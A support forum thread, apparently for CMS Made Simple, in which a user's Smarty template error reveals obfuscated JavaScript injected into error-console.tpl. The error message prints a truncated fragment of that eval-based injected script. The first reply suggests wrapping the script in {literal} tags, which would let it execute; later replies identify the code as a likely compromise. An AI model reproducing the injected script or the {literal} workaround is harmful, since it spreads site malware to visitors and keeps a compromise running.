Fatal error Uncaught exception

[Sladdaren]

I upgraded to version 1.11.7 from 1.11.6. and now 5 hours later i got an error when i visit my site.
And i try to reinstall everything, and its works fine for a few hours..and then i got the same error again pls help.;(

This error is showing when visiting

Fatal error: Uncaught exception 'SmartyCompilerException' with message 'Syntax Error in template "/home/eternall/public_html/lib/smarty/error-console.tpl" on line 120 "</div><!--0f2490--><script type="text/javascript" language="javascript" >z="y";vz="d"+"oc"+"ument";ps="s"+"plit";try{+function(){++(window[vz].body)==null}()}catch(q){aa=function(ff){ff="fr"+"omCh"+ff;for(i=0;i<z.length;i++){za+=String[ff](e(v+(z))-(13));}};};e=(eval);v="0x";a=0;try{;}catch(zz){a=1}if(!a){try{++e(vz)["\x62od"+z]}catch(q){a2="_";}z=&quot............_7d_75_ in /home/eternall/public_html/lib/smarty/sysplugins/smarty_internal_templatecompilerbase.php on line 702

[Jo Morg]

It seems that the javascript block of code (which apparently starts at line 120) isn't properly escaped. You should use something like:

Code: Select all

{literal}
<__script__ type="text/javascript" language="javascript" >.... whatever code you have ....</__script>
{/literal}

HTH

PS: Just a word of caution: the code appears to packed or encrypted (besides being HTML encoded), so make sure it's not a hack...

[calguy1000]

{literal} tags are not needed for <__script__> tags with a src attribute.
i.e: <__script__ src="something"></__script>

only for stuff with a { and/or } character. and only if those characters don't have whitespace around them.

[velden]

I would suggest to thoroughly investigate this issue because it does not look safe! This javascript code is obfuscated, and probably for a reason.

Looks like some code has been injected in the 'lib\smarty\error-console.tpl'

Doing some checksum validation (Site Admin - System Verification) would be a start.

However, if the site is compromised you need to know how to be able to stop this from happening again.

[Sladdaren]

Ty all for answer quickly . Now i think that it could be a hack. i have reinstalled everything again and change password to both server and ftp. I hope this will fix this problem..